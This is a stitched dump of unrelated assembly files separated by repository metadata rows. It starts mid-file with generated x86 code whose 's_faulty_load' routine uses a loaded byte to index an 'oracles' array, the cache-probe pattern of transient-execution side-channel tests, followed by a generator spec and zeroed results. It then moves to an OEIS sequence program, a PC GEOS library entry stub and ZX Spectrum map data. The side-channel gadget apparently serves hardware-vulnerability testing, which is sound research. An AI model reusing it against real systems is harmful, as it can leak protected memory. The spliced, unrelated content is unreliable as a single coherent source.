and $0xffffffffffffffc0, %rbx
movaps (%rbx), %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
nop
nop
nop
xor $23047, %rdi
lea addresses_A_ht+0x9927, %rcx
and $38197, %rax
movb (%rcx), %r12b
xor $36006, %rdi
lea addresses_D_ht+0x150ef, %rsi
lea addresses_A_ht+0x6f77, %rdi
nop
dec %r10
mov $40, %rcx
rep movsq
nop
nop
nop
inc %r10
lea addresses_D_ht+0x9b7f, %rbx
nop
nop
add $16788, %r10
and $0xffffffffffffffc0, %rbx
vmovaps (%rbx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rax
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_WT_ht+0x1a1e7, %rax
nop
nop
nop
xor %rdi, %rdi
vmovups (%rax), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
dec %r12
lea addresses_normal_ht+0x156e7, %r13
nop
nop
nop
nop
nop
and $36313, %rbx
vmovups (%r13), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rax
nop
nop
nop
lfence
lea addresses_UC_ht+0x12be7, %rsi
lea addresses_A_ht+0xe5f3, %rdi
nop
nop
nop
dec %r13
mov $117, %rcx
rep movsw
nop
add %rsi, %rsi
lea addresses_A_ht+0x255b, %rsi
lea addresses_normal_ht+0x1e3d7, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
sub $12197, %r10
mov $97, %rcx
rep movsq
nop
nop
nop
nop
sub $37690, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r9
push %rbp
push %rcx
push %rsi
// Store
lea addresses_A+0xf337, %rsi
lfence
movw $0x5152, (%rsi)
cmp $23185, %rsi
// Faulty Load
lea addresses_WT+0x1f8e7, %r15
nop
nop
nop
nop
dec %rcx
movb (%r15), %r9b
lea oracles, %rsi
and $0xff, %r9
shlq $12, %r9
mov (%rsi,%r9,1), %r9
pop %rsi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.381188 | 2,999 | 0.660137 |
e4ca3c7ee845cbe8368d17e6368f88dfcfcd6499 | 447 | asm | Assembly | oeis/244/A244734.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/244/A244734.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/244/A244734.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A244734: Numerators of the triangle T(n,k) = (n*(n+1)/2 + k + 1)/(k+1) for n >= k >= 0.
; Submitted by Jon Maiga
; 1,2,3,4,5,2,7,4,3,5,11,6,13,7,3,16,17,6,19,4,7,22,23,8,25,26,9,4,29,15,31,8,33,17,5,9,37,19,13,10,41,7,43,11,5,46,47,16,49,10,17,52,53,6,11,56,57,58,59,12,61,62,63,64,13,6,67,34,23,35,71,12,73,37,25,38,7,13
add $0,1
mov $2,$0
lpb $0
mov $3,$2
gcd $3,$0
sub $0,1
trn $0,$1
add $1,1
mov $4,$2
div $4,$3
lpe
mov $0,$4
| 26.294118 | 208 | 0.563758 |
b26b644629314ee0246cadabd7a31fbb720c9d6d | 1,199 | asm | Assembly | Library/Cell/cellMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Cell/cellMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Cell/cellMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
***
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: cellMain.asm
AUTHOR: John Wedgwood, Dec 5, 1990
ROUTINES:
Name Description
---- -----------
LibraryEntry Entry to this library.
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 12/ 5/90 Initial revision
DESCRIPTION:
$Id: cellMain.asm,v 1.1 97/04/04 17:45:02 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Init segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LibraryEntry
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY:
PASS:
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/28/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
global LibraryEntry:far
LibraryEntry proc far
clc
ret
LibraryEntry endp
Init ends
| 19.983333 | 79 | 0.432027 |
56f22fe61facc9da5a2cd859c5304e10aa430ca4 | 67,068 | asm | Assembly | python_src/maps/level3/mapa_nivel03a.asm | fjpena/sword-of-ianna-zx | fdd6bdb5775933756e75402a7c6be80d5334702d | [
"Apache-2.0"
] | 67 | 2017-10-07T18:48:05.000Z | 2022-02-01T20:37:40.000Z | python_src/maps/level3/mapa_nivel03a.asm | fjpena/sword-of-ianna-zx | fdd6bdb5775933756e75402a7c6be80d5334702d | [
"Apache-2.0"
] | null | null | null | python_src/maps/level3/mapa_nivel03a.asm | fjpena/sword-of-ianna-zx | fdd6bdb5775933756e75402a7c6be80d5334702d | [
"Apache-2.0"
] | 9 | 2017-10-06T21:02:55.000Z | 2022-01-06T03:11:58.000Z | ; ASM data file from a ZX-Paintbrush picture with 256 x 256 pixels (= 32 x 32 characters)
; and an attribute area of 1024 bytes
; block based output of pixel data - each block contains 8 x 8 pixels
; blocks at pixel positionn (y=0):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x08, 0x80, 0x84, 0x40, 0x20, 0x00, 0x10, 0x00
defb 0x4F
defb 0x01, 0x03, 0x07, 0x0D, 0x13, 0x24, 0x90, 0x00
defb 0x4F
defb 0x80, 0xC0, 0xE0, 0xF0, 0x68, 0x24, 0x12, 0x01
defb 0x4F
defb 0x01, 0x03, 0x11, 0x40, 0x08, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xBA, 0x5D, 0xBA, 0x55, 0xBB, 0x55, 0xBA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xEA, 0x5D, 0xAA, 0x55, 0xEA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAB, 0x5F, 0xAB, 0x5D, 0xAF, 0x5D, 0xAF, 0x5D
defb 0x4F
defb 0xBF, 0x7F, 0xBF, 0x5D, 0xAF, 0x5F, 0x2B, 0x15
defb 0x4F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x6F
defb 0xFD, 0xFE, 0xFD, 0xBA, 0xF5, 0xFA, 0xD4, 0xA8
defb 0x4F
defb 0x15, 0x2B, 0x5F, 0xAF, 0x5D, 0xBF, 0x7F, 0xBF
defb 0x4F
defb 0xA8, 0xD4, 0xFA, 0xF5, 0xBA, 0xFD, 0xFE, 0xFD
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
; blocks at pixel positionn (y=8):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x01, 0x03, 0x07, 0x0D, 0x13, 0x24, 0x90, 0x00
defb 0x4F
defb 0x80, 0xC0, 0xE0, 0xF0, 0x68, 0x24, 0x12, 0x01
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x02, 0x04, 0x50, 0x80, 0x00, 0x00, 0x00
defb 0x4F
defb 0x01, 0x03, 0x11, 0x40, 0x08, 0x00, 0x00, 0x00
defb 0x4F
defb 0x08, 0x80, 0x84, 0x40, 0x20, 0x00, 0x10, 0x00
defb 0x4F
defb 0x00, 0x40, 0x20, 0x0A, 0x01, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x7F, 0xD7
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFE, 0x6B
defb 0x4F
defb 0xAA, 0x55, 0xAB, 0x55, 0xAA, 0x77, 0xBB, 0x5D
defb 0x4F
defb 0xAA, 0x55, 0xEA, 0x5D, 0xAA, 0x55, 0xEA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xBA, 0xD7, 0xAB, 0x57, 0xAB, 0x55, 0xAB, 0x75
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x4F
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x4F
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x4F
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x4F
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x4F
defb 0x04, 0x04, 0x04, 0x04, 0x0C, 0x08, 0x0C, 0x08
defb 0x05
defb 0x20, 0x22, 0x22, 0x32, 0x23, 0x32, 0x33, 0x22
defb 0x05
; blocks at pixel positionn (y=16):
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x4F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x4F
defb 0xBF, 0x7F, 0xBF, 0x5D, 0xAF, 0x5F, 0x2B, 0x15
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xF7, 0xAA
defb 0x47
defb 0xFD, 0xFE, 0xFD, 0xBA, 0xF5, 0xFA, 0xD4, 0xA8
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF
defb 0x47
defb 0xA8, 0xD4, 0xFA, 0xF5, 0xBA, 0xFD, 0xFE, 0xFD
defb 0x47
defb 0xBF, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x79
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x7D
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x47
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x47
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x57
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x57
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x0A, 0x15, 0x0A, 0x15
defb 0x4F
defb 0x00, 0x01, 0x0A, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x00, 0x40, 0xA8, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0xA8, 0x54, 0xA8, 0x54
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
; blocks at pixel positionn (y=24):
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x4F
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x47
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x47
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x47
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x47
defb 0xAA, 0x55, 0xAB, 0x55, 0xAA, 0x77, 0xBB, 0x5D
defb 0x4F
defb 0xAA, 0x55, 0xEA, 0x5D, 0xAA, 0x55, 0xEA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xBA, 0xD7, 0xAB, 0x57, 0xAB, 0x55, 0xAB, 0x75
defb 0x4F
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x79
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x7D
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x47
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x47
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x57
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x57
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x15
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xAA, 0x55
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x0A, 0x15, 0x2A, 0x55
defb 0x4F
defb 0x00, 0x01, 0x0A, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x00, 0x40, 0xA8, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0xA8, 0x54, 0xAA, 0x55
defb 0x4F
; blocks at pixel positionn (y=32):
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x4F
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x4F
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x4F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x4F
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x79
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x7D
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x7D
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x79
defb 0x15, 0x2B, 0x5F, 0xAF, 0x5D, 0xBF, 0x7F, 0xBF
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF
defb 0x47
defb 0xBF, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFD
defb 0x4F
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x7D
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x15
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x2A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xAA, 0x54, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xAA, 0x55, 0x2A, 0x05, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0x0A, 0x01
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x54, 0xA0, 0x40
defb 0x4F
